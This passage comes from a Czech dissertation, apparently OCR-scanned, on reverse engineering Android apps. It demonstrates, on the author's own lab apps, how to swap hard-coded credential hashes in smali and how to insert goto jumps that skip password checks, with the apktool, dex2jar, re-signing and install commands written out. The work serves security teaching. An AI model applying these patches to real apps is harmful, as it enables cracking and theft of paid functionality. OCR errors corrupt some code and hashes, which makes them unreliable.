ovéfeni bude logickd hodnota. To znamend, Ze pro nalezeni slabého mista
zdrojového kodu je potieba provést analyzu tfidy CheckCredentials.class.

Ukazka zdrojového kddu metody 1sValid() tiidy CheckCredentials.class:
public Boolean isValid()
throws NoSuchAlgorithmException, UnsupportedEncodingException
{
Boolean localBoolean2 = Boolean.valueOf(false);
Boolean localBoolean1 = localBoolean2;
if (hashString(getEnteredLogin(), this.algorithm).equals(getLogin()))
{
localBoolean1 = localBoolean?;
if (hashString(getEnteredPasswd(), this.algorithm).equals(getPasswd()))
{
localBoolean1 = Boolean.valueOf(true);
}
}

return localBoolean1;

}

Z vyse uvedeného kodu vyplyva, Ze pokud je shodny hash ptihlasovaciho
jména, které¢ zadal uzivatel (getEnteredLogin()) a obsah vraceny metodou
getLogin() a soucasné je shodny hash hesla, které =zadal wuZivatel
(getEnteredPasswd()) a obsah vraceny metodou getPasswd(), pak je ndvratova
hodnota ,,true”. V opaném ptipadé¢ metoda isValid() vraci ,false®. Kritickym
mistem zdrojového kodu jsou metody getLogin() a getPasswd():

private String getlLogin()
{

return this.login;

}

private String getPasswd()
{

return this.passwd;

}
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Z ukazky je patrné, Ze hashované hodnoty uzivatelského jména a hesla jsou
uloZzeny v proménnych this.login a this.passwd, které se nachazeji ve tride
CheckCredentials.class. Obsahy proménnych jsou zachyceny na obrazku 4.44
v Cerveném ramecku.

P

CheckcCredentials.class - Java Decompiler

File Edit Navigation Search Help
B &4
@8 BestMaps12-dex2jar.jar &2

» f# android.support
v 8 cz.utb.fai.bestmaps12

» % BestMapsActivity.class package cz.utb.fai.bestmaps12;

# CheckCredentials.class &3

> =import java.io.UnsupportedEncodingException;
>t Rclass import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;

public class CheckCredentials
={

private String algorithm = "SHA-256";

private String enteredLogin = "";

private String enteredPasswd = "";

private String login = "6c4f39af50f1e3d939f63514a6edd5507abadbe7aea7659e8ada5756chb2cad27" ;
private String passwd = "b2c56341cc2b9f8bf898bd7528dd39e641b51c4fbd51f241b46ad70872dd1b99" ;

public CheckCredentials(String paramStringl, String paramString2)

setEnteredlogin(paramStringl);
setEnteredPasswd (paramString2) ;

private static String convertByteArrayToHexString(byte[] paramArray0fByte)

StringBuffer localStringBuffer = new StringBuffer();
int i = 0;

PP SR ST IR

Obr. 4.44: Obsahu proménnych login a passwd [zdroj viastni]

Nastroje dex2jar a Java Decompiler (JD-GUI) umoziiuji pohodlnou analyzu
aplikac¢ni logiky v jazyce Java, ale nedisponuji zddnymi prosttedky, jak obsahy
proménnych login a passwd zménit. Z tohoto diivodu je potieba provést
dekompilaci druhého typu pomoci APKTool a hodnoty proménnych zménit
vjazyce smali'’. Dekompilace za pouziti piikazu java -jar apktool.jar d
BestMaps12.apk vytvoii adresai BestMaps12, ve kterém se nachazi podadresar
smali. Tento podadresat obsahuje adresate android a cz. Adresat android neni pro
uvedeny typ utoku zajimavy, kromé toho uto¢nik jiZ z analyzy jar souboru
BestMaps12-dex2jar.jar vi, Ze se tfida CheckCredentials.class nachazi v balicku:

package cz.utb.fai.bestmaps12;
Obsah adresare cz, tuto strukturu kopiruje:

workshop@ubuntu:~/lab/BestMaps12/smali/cz/utb/fai/bestmaps12$ pwd
/home/workshop/lab/BestMaps12/smali/cz/utb/fai/bestmaps12

7 Jak jiz bylo popsano vyse, smali je nizsi nedokumentovany jazyk podobny bajtkodu ci
Jjazyku symbolickych adres, ktery je urcen pro stroje. Analyza aplikacni logiky a hledani slabych
mist v zabezpeceni by bylo prostrednictvim jazyka smali casove velmi narocné. Proto utocnici
nejprve provedou dekompilaci typu 1 a staticky analyzuji bezpecnostni mechanismy v jazyce
Java. Uvedeny postup umozni podstatné zkratit dobu, ktera je potiebna pro nasledné upravy
aplikacni logiky pomoci jazyka smali.
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Z obrazku 4.45 vyplyva, ze hledand tfida CheckCredentials.class se nachazi
v souboru CheckCredentials.smali. Uvedeny soubor obsahuje celou aplikaéni
logiku dané tfidy.

workshop@ubuntu:~/lab/BestMapsi2/smali/cz/utb/fai/bestmapsi2$ 1s
BestMapsActivity$l.smali RS$attr.smali R$layout.smali
BestMapsActivity$2.smali RS$Sbool.smali RSmipmap.smali
BestMapsActivity.smali RScolor.smali R.smali

BuildConfig.smali R$dimen.smali R$string.smali
CheckCredentials.smali RSdrawable.smali R$styleable.smali
MainActivity.smali RSid.smali RSstyle.smali
R$Sanim.smalil R$integer.smali

Obr. 4.45: Obsahu adresdre bestmaps12 [zdroj viastni]

Ptipravné zkoumani BestMapsl2-dex2jar.jar odhalilo, Ze v souboru
CheckCredentials.smali je nutné vyhledat proménné login a passwd. Pro analyzu
provadénou ve smali souborech obecné plati, Ze ¢im specifictc)si tetézec je
vyhledavan, tim rychleji je nalezeno spravné misto v koédu. Z uvedeného divodu
je vyhodné zacit hledani vyrazem passwd. Nazev proménné passwd si vymyslel
programadtor Cisté pro ucely svého kodu, nejedna se tedy o klicové slovo jazyka
Java ¢i smali. RovnéZ se nejedna o nazev, ktery by do smali souborti vkladal
operacni systém Android. Proto lze ptedpokladat, ze postupné hledani vyrazu
passwd provede uto€nika pouze zdjmovymi ¢astmi kodu. Na obrazku 4.46 je
vidét, Ze hledani vyrazu passwd uto¢nika rovnéz dovedlo i k proménné login,
ktera je na obrdzku oznacena zelen¢:

Do registru v0 je vloZen fetézec

"6c4139af50f1e3d939f63514a6edd5507aba0be7aea7659e8adaS756cb2cad27"
(byla vytvotena reference), v dalSim fadku je za pomoci registru v0O a parametru
p0 vytvofen objekt typu String jazyka Java, ktery se jmenuje login. Uto&nik musi
zménit hash, ktery se ulozi do registru vO:

const-string v0, "zde_bude_hash_ktery_utocnik_zna"

Stejny postup je nutné provést 1 na Sestnactém fadku pro passwd. Kod tykajici
se hesla je na obrazku 4.46 a je oznacCen Cervenym rameckem.
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Checkcredentials.smali (~/lab/BestMaps12/smali/cz/utb/fai/bestmaps12) - gedit
Open ¥ M Save

.line 9 Sqpasswa a|alv
const-string vO, "SHA-256"

iput-object vO, pO, Lcz/utb/fai/bestmapsl2/CheckCredentials;->algorithm:Ljava/lang/String;

.line 15
const-string vO, "6c4f39af50f1e3d939f63514ab6edd5507abalbe7aea7659e8ada5756ch2cad27"

iput-object vO, pO, Lcz/utb/fai/bestmapsl2/CheckCredentials;->login:Ljava/lang/String;

.line 16
const-string v@, "b2c56341cc2b9f8bf898bd7528dd39e641b51c4fbd51f241b46ad70872dd1b99"

iput-object vO, pO, Lcz/utb/fai/bestmapsl2/CheckCredentials;->passwd:Ljava/lang/String;

.line 18
const-string vO, "'

iput-object vO, pO, Lcz/utb/fai/bestmapsl2/CheckCredentials;->enteredPasswd:Ljava/lang/String;

.line 19
const-string vo, ""

Plain Text v Tab width: 8 v Ln 28, Col 12 v INS

Obr. 4.46: Proménné login a passwd v souboru CheckCredentials.smali [zdroj viastni]

Jakmile jsou provedeny vSechny potfebné zmény, je uloZen obsah souboru
CheckCredentials.smali. Takto upraveny zdrojovy kod se znovu zkompiluje
pomoci piikazu java -jar apktool.jar b BestMaps12 -o BestMaps12HACKED.apk
do APK balicku (build byl vytvofen ze souborli, které jsou v adresafi
BestMaps12). Jako posledni se provede faleSné podepsani APK balicku, pficemz
pachatelé voli takovy zplisob podpisu, aby je nebylo moZzné ztotoZnit s danym
balickem.

Single-Jump Attack

Utoky zaloZené na skocich provedenych v kodu aplikace, jako jsou Single-
Jump Attack a Multi-Jump Attack, vyuzivaji piikaz goto a navesti k tomu, aby se
vyhnuly (,,pfeskocily*) bezpecnostni mechanismy dan¢ mobilni aplikace. Schéma
zabezpeceni je zndzornéno na obrazku 4.47. Zacatek kodu mohou spustit vSichni
uzivatelé, pak nasleduje ochranna c¢ast kodu, ktera ocekava splnéni predem
definovanych podminek, jako jsou platny certifikat, ovéfeni prostfednictvim
vzdaleného serveru, platné ptihlasovaci udaje apod. Jsou-li splnény bezpecnostni
podminky, ochranna ¢ast kodu preda fizeni té casti kodu, ktera poskytuje cennou
funkcionalitu. Ochranna cast koédu muize disponovat takovymi obrannymi
prostfedky, jejichZz piekonani by bylo pro uto¢niky konvenénimi zplsoby
nemozné nebo velmi zdlouhavé a tim padem néakladné.
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Ochranna cast kodu

Obr. 4.47: Schéma zabezpeceni mobilni aplikace [zdroj viastni]

Utok je zaloZen na myslence, Ze jednodus§i neZ provadét kryptoanalyzu, &i
Utodit na autentiza¢ni server, pfipadné uto¢it na Android keystore system!'® [84]
atd., je lepsi problematické misto pieskocit. Situace je naznacena na obrazku 4.48.
Na samotny konec vetejné piistupné¢ho kodu se umisti prikaz goto :navesti.
Navésti je pridano na uplny zacatek kodu poskytujiciho cennou funkcionalitu.
Jinymi slovy pro omezeni mozZznych problémi spojenych s timto typem ttoku je
nutné minimalizovat vzdalenost, kterd bude pfeskoCena. V n€kterych ptipadech
je potieba projit ochrannou ¢ast kodu a zjistit, které registry z ochranné ¢asti kodu
jsou nezbytné pro spravné fungovani kodu poskytujiciho cennou funkcionalitu.
Uvedené registry vcetné relevantniho obsahu z ochranné ¢&asti se umisti
bezprostiedné za navesti (tj. na zacatek kodu poskytujiciho cennou funkcionalitu).

Ochranna cast kédu

Obr. 4.48: Princip Single-Jump Attack [zdroj viastni]

Prakticka ukazka utoku bude demonstrovana na aplikaci Best Game 6, ktera
byla autorem naprogramovana na zakladé komerc¢ni aplikace. Po svém startu
aplikace zjistuje, zda se jedna o prvni spusténi. Pokud je to prvni spusténi, pak
aplikace vytvoii kryptograficky kli¢ a uloZi ho v Android keystore system,

18 Android keystore system predstavuje prostiedek pro ukladani kryptografickych klicii. Pro
utocniky je mnohem tézsi extrahovat klice z Android keystore system, neZ z jinych casti
souborového systéemu ci prostredkit aplikace. Android keystore system poskytuje samotny
operacni systém.
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nasledné je uzivatel vyzvéan, aby zadal své heslo, kter¢ bude chranit danou
aplikaci. Heslo zadané uzivatelem je zaSifrovano pomoci kryptografického klice,
ktery je uloZzen v Android keystore system. Uzivatelské heslo zaSifrované vyse
uvedenym zpusobem je uloZeno do privatniho datového prostoru, do souboru
app_protection.xml (jedna se o string element passwd key, ktery je na obrazku
4.49 oznacen Cerveng). Nasledné je zavolana metoda finish, ktera odesle aplikaci
na pozadi. Jakmile se aplikace opct dostane na popiedi nebo je znovu spusténa,
zobrazi se strazni aktivita. V ptipad¢, Ze uZzivatel klikne na tlacitko LOGIN, je
rozSifrovan passwd key pomoci klice ulozeného v Android keystore system a
porovnan s heslem, které zadal uZzivatel. Jsou-li obé hodnoty stejné, je spusténa
chranéna ¢ast mobilni aplikace. V opacném ptipade¢ je uzivateli zobrazena zprava,
ze heslo nebylo spravné.

JelikoZ je do zabezpeCovaciho procesu zahrnut kryptograficky kli¢, ktery je
uloZen v Android keystore system a ktery uto¢nici neznaji, je pro né velmi tézké
podvrhnout obsah passwd key. RovnéZ utok proti Android keystore system
scilem odcizit kryptograficky kli€ by byl velmi slozity. I provedeni
kryptoanalyzy obsahu sebou nese zna¢na uskali protoze:

e kryptograficky kli¢ spliiuje moderni bezpecnostni standardy,

e string element passwd_key neobsahuje dostate¢né mnozstvi textu.

Jako nejvyhodnéjsi se proto jevi preskocit cely zabezpeCovaci mechanismus
pomoci Single-Jump Attack.

MainActivit

isFirstRu
n()?

Android Emulator - m:5554

Androld Emulator - m:5554

e
¥

PTLAB

Androld Emulator - m:5554 Wrong Password

Vytvofiklice a N
uloZijev
KeyStore

&

> E & 0O Rozsifrovani R
[ ———— passwd_key
Password has been changed LT
[ e pomoci klice z
—— KeyStore ’

AN

/data/data/cz.utb.fai.bestgame6_ptlab/shared_prefs/app_protection.xml

_suv BEST GAME

app_protection.xml <
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>

<string name:"passwd_key":m6Ne7Grmh5iM6XpalRTEg+pOKWcSUKwhhP18E7drfC/xG/eeMMADSOTRO29Fd+uweDIfWfSCjSK/IZApPFqLP8X0/yUlc4PwzizR+cxWlyNfxhB
0BeizcAeKjljgxGd1Lxptl/zxvnKBK1Ae4CCYGhBETSNyWCauyc95HbpvOaWoRE+7FdfpPKlghZApwnZTcO+sa®iGxD/DVH+2HVio4tx5IkIkWHhQSZ9Uo+qCSKIkP+cYd22rTNOrYwar
hpRPuxynS5XZYdo4QvsZ3a16 1pPKvXWk3wz71/Vk6/05N3VidrXuKTQgtyZMcOqBI9p1X+DUF+gGWY9+YnYXENo+w==</string>
</map>

Obr. 4.49: Bezpecnostni mechanismus aplikace Best Game 6 [zdroj viastni]
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Aby bylo moZzné studovat bezpecnostni mechanismy aplikace Best Game 6, je
potieba provést dekompilaci prvniho typu, tzn. pouzit piikaz ./dex2jar.sh
BestGame6.apk, ktery vytvori z APK balicku jar soubor. BestGame6-dex2jar.jar
je otevien pomoci Java Decompileru (JD-GUI). V MainActivity.class je metoda
checkPassword onClick, ktera se prostfednictvim dalSich metod a pomocnych
trid stara o zabezpecCeni aplikace. Metoda je aktivovana kliknutim uZivatele na
jediné tlacitko, které se nachazi ve strazni aktivite.

Ukazka kdédu metody checkPassword onClick ve tfidé MainActivity.class:

public void checkPassword_onClick(View paramView)

{
if (isFirstRun())
{
if (this.inputText.getText().toString().equals(™))
{
firstRun(this.inputText.getText().toString().trim());
}
}
for (;;)
{
this.inputText.setText(");
return;
Toast.makeText(this.context, "Password is empty!", 1).show();
continue;
if (decrypt(this.context.getSharedPreferences("app_protection”,
0).getString("passwd_key", "N/A")).equals(this.inputText.getText().toString().trim()))
{
this.inputText.setText("");
startActivity(new Intent(this, BestGameActivity.class));
}
else
{
this.inputText.setText("");
Toast.makeText(this.context, "Wrong Password", 1).show();
}
}
}

Na zdrojovy kod metody checkPassword onClick vCetné pomocné metody
decrypt (pouziva kli¢ uloZzeny v Android keystore system) 1ze nahliZet jako na
cernou skiinku. Jediné, co je z hlediska Gtoku dillezité, je nalezeni vhodného mista
pro umisténi piikazu goto a odpovidajiciho navésti. Analyzou kodu bylo zjisténo,
Ze nejvhodnéj$i misto je na samém zacatku metody checkPassword onClick, jesté
pied tim, neZ se bude zjist'ovat, zda se jedné o prvni start aplikace. Tzn., Ze piikaz
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goto by mél byt umistén pted tadek if (isFirstRun()), ktery je v ukdzce oznacen
zelen€. Naveésti by mélo byt pfidano pied tadek startActivity(new Intent(this,
BestGameActivity.class)), ktery je v ukdzce oznafen Cervené. Uvedeny tfadek
v nemodifikovaném kodu zajisti spusténi chranéné ¢asti aplikace (ovSem azZ po
splnéni bezpe¢nostnich podminek). Nyni, kdyZ byla dokonCena ptipravna analyza
a byla nalezena vhodna mista kodu pro provedeni Single-Jump Attack, je mozné
provést dekompilaci typu 2: java -jar apktool rev.jar d BestGame6.apk. Z Java
kodu tfidy MainActivity.class byl zji§tén tvar package:

package cz.utb.fai.bestgame6_ptlab;

Na zékladé package lze ptedpokladat, Ze se smali kod bude nachéazet v adresati
smali/cz/utb/fai/bestgame6 ptlab, a v souboru MainActivity.smali. V uvedeném
souboru je nutné nejprve najit metodu checkPassword onClick:

# virtual methods

.method public checkPassword_onClick(Landroid/view/View;)V

locals 6
param p1, "v" # Landroid/view/View;

.prologue
const/4 v5, 0x1

line 152
invoke-direct {p0}, Lcz/utb/fai/bestgame6_ptlab/MainActivity;->isFirstRun()Z

move-result v2

if-eqz v2, :cond_1

line 154

iget-object V2, p0, Lcz/utb/failbestgame6_ptlab/MainActivity;-
>inputText:Landroid/widget/EditText;

invoke-virtual {v2}, Landroid/widget/EditText;->getText()Landroid/text/Editable;

move-result-object v2

Z ukazky smali kédu uvedené vyse je ziejmé, Ze vhodné misto pro umisténi
navesti je pred .line 152, které je oznaceno zelené. Misto bylo zvoleno tak, aby
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nebylo nutné v dalsi casti kodu vkladat korektni obsah do registru v5.
Odpovidajici kod ma nyni podobu:

goto :navesti

line 152
invoke-direct {p0}, Lcz/utb/fai/bestgame6_ptlab/MainActivity;->isFirstRun()Z

DalSim krokem je vyhledani mista pro umisténi navésti. Na zakladé
zkoumani Java kédu metody checkPassword onClick bylo zjisténo, Ze navesti by
se mélo umistit pfed volani startActivity. V jazyce smali se volani oznacuje
dvojici symboli ,,->*, proto je vhodné hledat vyraz ,->startActivity” (v nize
uvedené ukazce je oznacen Cerveng). Z pohledu na kod predchézejici .line 174
vyplyva, Ze neni mozné naveésti umistit bezprostiedné pied fadek s volanim -
>startActivity. Na ziklad€ znalosti Java kdédu a mapovani obsahil registri je
ziejmé, Ze navesti by se mélo umistit pred fadek .line 173 (v ukazce je oznacen
modie). Toto umisténi zajisti, Ze program bude mit vSe pottebné pro spusténi
chranéné Casti aplikace.

Ukézka zdrojového kédy metody checkPassword onClick v okoli volani -
>startActivity:

line 171

iget-object V2, p0, Lcz/utb/failbestgame6_ptlab/MainActivity;-
>inputText:Landroid/widget/EditText;

const-string v3, ™"

invoke-virtual {v2, v3}, Landroid/widget/EditText;-
>setText(Ljava/lang/CharSequence;)V

line 173
new-instance v0, Landroid/content/Intent;

const-class v2, Lcz/utb/failbestgame6_ptlab/BestGameActivity;

invoke-direct {v0, p0, v2}, Landroid/content/Intent;-
><init>(Landroid/content/Context;Ljava/lang/Class;)V

line 174

Jocal v0, "intent":Landroid/content/Intent;

invoke-virtual {p0, v0}, Lcz/utb/failbestgame6_ptlab/MainActivity;-
>startActivity(Landroid/content/Intent;)V
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goto :goto_0

line 178

.end local vO # "intent":Landroid/content/Intent;

:cond_2

iget-object V2, p0, Lcz/utb/failbestgame6_ptlab/MainActivity;-

>inputText:Landroid/widget/EditText;
const-string v3, ™"

invoke-virtual {v2, v3}, Landroid/widget/EditText;-
>setText(Ljava/lang/CharSequence;)V

Pted fadek .line 173 je umisténo navesti:
‘navesti

line 173
new-instance v0, Landroid/content/Intent;

V tuto chvili jsou provedeny vSechny nutné upravy koédu smali a je mozné
ulozit modifikovany obsah souboru MainActivity.smali. DalSim krokem je
sestaveni upraven¢ho APK balicku: java -jar apktool rev.jar b BestGame6 -o
BestGame6HACKED.apk. Na obrazku 4.50 je vidét, ze kompila¢ni proces
skonc¢il chybou. Analyzou chybovych vypist bylo zjiSténo, Ze se problém tyka
obsahu souboru styles.xml, ktery se nachazi v adresati BestGame6/res/values-
v24/. Po upravé souboru styles.xml je moZzné kompilaci zopakovat.
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workshop@ubuntu ~/1ab$ java -jar apktool_rev.jar b BestGame6 -o BestGame6HACKED.apk
: Using Apktool 2.1.1
: Checking whether sources has changed..
: Smaling smali folder into classes.dex...
: Checking whether resources has changed...
: Building resources.
3 /home/workshop/lab/BestGameG/res/values v24/styles xml:7: error: Error retrieving parent for item: No
resource found that matches the given name '@android:style/Animation.OptionsPanel’.

w. /home/workshop/1ab/BestGame6/res/values-v24/styles.xml:8: error: Error retrieving parent for item: No
resource found that matches the given name '@android:style/Animation.LockScreen'.
W:
Exception in thread "main" brut.androlib.AndrolibException: brut.androlib.AndrolibException: brut.common
.BrutException: could not exec (exit code = 1): [/tmp/brut_util_Jar_8960738199092047396.tmp, p, --forced
-package-id, 127, --min-sdk-version, 15, --target-sdk-version, 25, --version-code, 1, --version-name, 1.
0, -F, /tmp/APKTO0L1707389623364779204.tmp, -0, arsc, -0, arsc, -I, /home/workshop/apktool/framework/1.a
pk, -S, /home/workshop/lab/BestGame6/res, -M, /home/workshop/lab/BestGame6/AndroidManifest.xml]
at brut.androlib.Androlib.buildResourcesFull(Androlib. java:437)
brut.androlib.Androlib.buildResources(Androlib. java:371)
brut.androlib.Androlib.build(Androlib. java:281)
brut.androlib.Androlib.build(Androlib. java:254)
brut.apktool.Main.cmdBuild(Main. java:224)
brut.apktool.Main.main(Main.java:84)

: brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [
/tmp/brut_util_Jar_8960738199092047396.tmp, p, --forced-package-id, 127, --min-sdk-version, 15, --target
-sdk-version, 25, --version-code, 1, --version-name, 1.0, -F, /tmp/APKTOOL1707389623364779204.tmp, -0, a
rsc, -0, arsc, -I, /home/workshop/apktool/framework/1.apk, -S, /home/workshop/lab/BestGame6/res, -M, /ho
me/workshop/lab/BestGame6/AndroidManifest.xml]

at brut.androlib.res.AndrolibResources.aaptPackage(AndrolibResources.java:436)

at brut.androlib.Androlib.buildResourcesFull(Androlib.java:423)

... 5 more
Caused by: brut.common.BrutException: could not exec (exit code = 1): [/tmp/brut_util_Jar_89607381990920
47396.tmp, p, --forced-package-id, 127, --min-sdk-version, 15, --target-sdk-version, 25, --version-code,

Obr. 4.50: Chyba pri kompilaci upraveného APK balicku [zdroj viastni]

Z obrazku 4.51 je vidét, Ze kompilacni proces opét skoncil chybou. Chyba je
vSak jiného charakteru, nebot’ se tyka parametru
android:roundIcon="@mipmap/ic launcher" elementu application, ktery se
nachazi v souboru AndroidManifest.xml. Po ipravé manifestu je mozné provést
treti pokus o vytvoreni modifikovaného APK balicku.

workshop@ubuntu:~/1ab$ java -jar apktool_rev.jar b BestGame6 -o BestGame6HACKED.apk
I: Using Apktool 2.1.1
I: Checking whether sources has changed...
I: Checking whether resources has changed...
I: Building resources...
W: /home/workshop/lab/BestGame6/AndroidManifest.xml:3: error: No resource identifier found for attribute
'roundIcon' in package 'android'

W:
Exception in thread "main" brut.androlib.AndrolibException: brut.androlib.AndrolibException: brut.common
.BrutException: could not exec (exit code = 1): [/tmp/brut_util_Jar_4206648960081117507.tmp, p, --forced
-package-id, 127, --min-sdk-version, 15, --target-sdk-version, 25, --version-code, 1, --version-name, 1.
0, -F, /tmp/APKTO0L820487836538558280.tmp, -0, arsc, -0, arsc, -I, /home/workshop/apktool/framework/1.ap
k, -S, /home/workshop/lab/BestGame6/res, -M, /home/workshop/lab/BestGame6/AndroidManifest.xml]

at brut.androlib.Androlib.buildResourcesFull(Androlib. java:437)

at brut.androlib.Androlib.buildResources(Androlib. java:371)

at brut.androlib.Androlib.build(Androlib. java:281)

at brut.androlib.Androlib.build(Androlib. java:254)

brut.apktool.Main.cmdBuild(Main. java:224)
brut.apktool.Main.main(Main. java:84)

Caused by: brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [
/tmp/brut_util_Jar_4206648960081117507.tmp, p, --forced-package-id, 127, --min-sdk-version, 15, --target
-sdk-version, 25, --version-code, 1, --version-name, 1.0, -F, /tmp/APKTOOL820487836538558280.tmp, -0, ar
sc, -0, arsc, -I, /home/workshop/apktool/framework/1.apk, -S, /home/workshop/lab/BestGame6/res, -M, /hom
e/workshop/lab/BestGame6/AndroidManifest.xml]

at brut.androlib.res.AndrolibResources.aaptPackage(AndrolibResources.java:436)

at brut.androlib.Androlib.buildResourcesFull(Androlib. java:423)

... 5 more
Caused by: brut.common.BrutException: could not exec (exit code = 1): [/tmp/brut_util_Jar_42066489600811
17507.tmp, p, --forced-package-id, 127, --min-sdk-version, 15, --target-sdk-version, 25, --version-code,
1, --version-name, 1.0, -F, /tmp/APKTOOL820487836538558280.tmp, -0, arsc, -0, arsc, -I, /home/workshop/
apktool/framework/1.apk, -S, /home/workshop/lab/BestGame6/res, -M, /home/workshop/lab/BestGame6/AndroidM
anifest.xml]

at brut.util.0S.exec(0S.java:95)

Obr. 4.51: Chyba pri opétovné kompilaci upraveného APK balicku [zdroj viastni]
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Pohledem na obrazek 4.52 lze zjistit, Ze kompilace APK balicku byla spé$né
dokoncena.

workshop@ubuntu:~/1ab$ java -jar apktool_rev.jar b BestGame6 -o BestGame6HACKED.apk
Using Apktool 2.1.1
Checking whether sources has changed...
Checking whether resources has changed...

Building apk file...
Copying unknown files/dir...
orkshop@ubuntu:~/1ab$ [

I:
I:
1L-
I: Building resources...
1L=
=
W

Obr. 4.52: Uspésné provedeni kompilacniho procesu upraveného APK balicku [zdroj
viastni]

Dalsim krokem je faleSné podepsani modifikovaneého APK balicku, naptiklad
pomoci jarsigneru. Jakmile je bali¢ek podepsan, 1ze ho nainstalovat do mobilniho
zatizeni €1 emuldtoru. Na obrazku 4.53 je vidét, Ze instalace modifikovaného APK
balicku byla Gspeésna. Po kliknuti na tlacitko, které se nachazi ve strazni aktivite,
j1z nedojde ke kontrole hesla, misto toho bude spusténa chranéna cast aplikace
poskytujici placenou funkcionalitu. Tzn., Ze spuSténi cenné funkcionality
probéhne bez jakékoliv kontroly.

workshop@ubuntu:~/1ab$ adb install BestGame6HACKED.apk
[100%] /data/local/tmp/BestGame6HACKED.apk

WARNING: linker: libdvm.so has text relocations. This is wasting memory and is a security risk. Please f
ix.

pkg: /data/local/tmp/BestGame6HACKED.apk
Success
workshop@ubuntu:~/1abs$ I

Obr. 4.53: Uspésné instalace upraveného APK balicku [zdroj viastni]

Vyse uvedené kompilaéni chyby jsou pomérné Casté a mohou byt velmi
rozmanité. VEtSinu z nich lze odstranit studiem chybovych vypist a naslednou
modifikaci souborli, které se nachdzeji v pfislusSném kompilacnim adresafi.
Rovnéz po nainstalovani modifikované aplikace se muze objevit cela tfada
chybovych stavil nebo mize dojit 1 k uplné€ zhrouceni béhu programu. Nastane-li
popisovana situace, je vhodné v aplikaci navodit kritickou situaci, zaroven
zachytit (naptiklad programem logcat) a detailné prostudovat jak systémove, tak
aplikacni logy. Na ziklad€ informaci ziskanych z logii lze upravit soubory
nachazejici se v kompilacnim adresati. Pokazdé, kdyZ jsou ménény soubory
kompila¢niho adresate, je nutné provest novy build APK bali¢ku a jeho faleSné
podepsani.

PtestoZe Single-Jump Attack je velmi nebezpecny typ ttoku, neni u€inny na
vSechny typy bezpec¢nostnich mechanismi, které¢ se nachazeji ve zdrojovych
kodech. Single-Jump Attack je vhodny pro prekondni ochrany, ktera je v kodu na
jediném misté. Pokud je zabezpeceni umisténo vice sofistikované, je potiteba
provést utok pomoci vicenasobného skoku, ktery je vysvétlen v nasledujicim
pododdile.
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Multi-Jump Attack

Reakci programatort na utok typu Single-Jump Attack bylo nové rozmisténi
ochrannych mechanismi ve zdrojovém kodu. Na zacatku kodu je stale vetejna
cast, kterou mohou spustit vSichni uzivatelé, ale struktura zbytku kodu je
zménéna. Cenna funkcionalita je rozdélena do né&kolika logickych celki, z nichz
kazdy ma vlastni ochranu. Je-li ochrana mobilni aplikace realizovana tak, jak je
naznaceno na obrazku 4.54, neni mozné pouzit Single-Jump Attack, naproti tomu
dobrych vysledkli (z pohledu tuto¢nika) lze dosdhnout pouZzitim Multi-Jump
Attack.

Ochranna cast kédu 1

Ochrannd ¢ast kédu 2

Ochrannd ¢ast kédu 3

Obr. 4.54: Struktura pokrocilé ochrany mobilni aplikace [zdroj viastni]

Na konec verejné¢ pfistupného kodu (na obrazku 4.55 je oznacen jako
»Zacatek®) se umistén piikaz goto. Navésti je pfidano na zacatek kodu cenné
funkcionality 1. Skok je na obrazku 4.55 reprezentovan cervenou Sipkou Cislo 1.
Na konec cenné funkcionality 1 je pfidan pomoci ptikazu goto dalsi skok, ktery
bude sméfovat na navésti nachdzejici se na zacatku cenné funkcionality 2. Viz
cervena Sipka Cislo 2 na obrazku 4.55. Posledni piikaz goto je pfidan na konec
cenné funkcionality 2. Odpovidajici navésti je umisténo na zacatek cenné
funkcionality 3 (jedna se o Sipku Cislo 3).

Ochranna ¢ast kédu 1 1.

Ochranna cast kédu 2 2.

Ochranna ¢&ast kédu 3 3.

Obr. 4.55: Prekonani pokrocilé ochrany mobilni aplikace [zdroj viastni]
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Pro ucely dizertacni prace byla vytvorena schématickd aplikace RE2Multi-
Jump.apk na, které je demonstrovan Multi-Jump Attack. Zdrojovy kod programu
1ze rozdé€lit na Ctyfti Casti:

e (ast 1/4 (na obrazku 4.56 je oznacena Cislem 1) a ¢ast 3/4 (na obrazku 4.56
je oznaCena Cislem 3) ptfedstavuji ochranné casti kodu, kterym se chce
utocnik vyhnout,

e (ast 2/4 (na obrazku 4.56 je oznacena Cislem 2) a ¢ast 4/4 (na obrazku 4.56
je oznacena Cislem 4) ptedstavuji cennou funkcionalitu, jeZ chce Utocnik
zneuzit.

Androld Emulator - m6:5554

ie PICED

N ~ N N N
O]lo Lo Lo c»llo o~|la /
) N PE| PENETRATION
ﬂ[{_‘? TES ﬂF ﬂ[l'—: TESTING
A R! ORATORY
PTLAB \QRATORY PTLAB ¥ PTLAB PTLAB - PTLAB ARQRATORY

ptlab.fai.utb.cz ptlab.fai.utb.cz ptlab.fai.utb.cz ptlab.fai.utb.cz ptlab.fai.utb.cz

uuuuuuuuuuu ok Multi-Jump Attack Multi-Jump Attack Multi-Jump Attack Multi-Jump Attack

1/4 - This is INCONVENIENT part of code. 2/4 - This is CONVENIENT part of code. 3/4 - This is UNWANTED part of code. 4/4 - This is WANTED part of code.

Obr. 4.56: Mobilni aplikace RE2Multi-Jump.apk [zdroj viastni]

Jako prvni se provede dekompilace typu 1: ./dex2jar.sh RE2Multi-Jump.apk.
Vznikly soubor RE2Multi-Jump-dex2jar.jar je otevien v programu JD-GUI a je
prostudovéna aplikacni logika s cilem najit vhodna mista pro realizaci skoka.
Ukazka ziskan¢ho zdrojového kddu je uvedena niZze. Analyzou bylo zjisténo, Ze
se kritické c¢asti kodu nachazeji v metodé multiJump, kterd patii tfidé
MainActivity. Aby bylo mozné utok prehledné demonstrovat, byla metoda
multifJump naprogramovana velmi schematicky. Radky zdrojového kodu
oznacené Cervené zastupuji ochranné Casti kodu, kterym je potieba se vyhnout.
Naproti tomu zelené fadky reprezentuji cenné €asti aplikace, jeZ je nutné spustit
pomoci skok (tak aby nedoslo k aktivaci ¢ervenych radk).

Ukazka zdrojového kodu, na které bude predveden Multi-Jump Attack:

private void multiJump()

{
Toast.makeText
Toast.makeText
Toast.makeText
Toast.makeText

}

this.context, "1/4 - This is INCONVENIENT part of code.", 1).show();
this.context, "2/4 - This is CONVENIENT part of code.", 1).show();
this.context, "3/4 - This is UNWANTED part of code.", 1).show();
this.context, "4/4 - This is WANTED part of code.", 1).show();

.~ o~ —
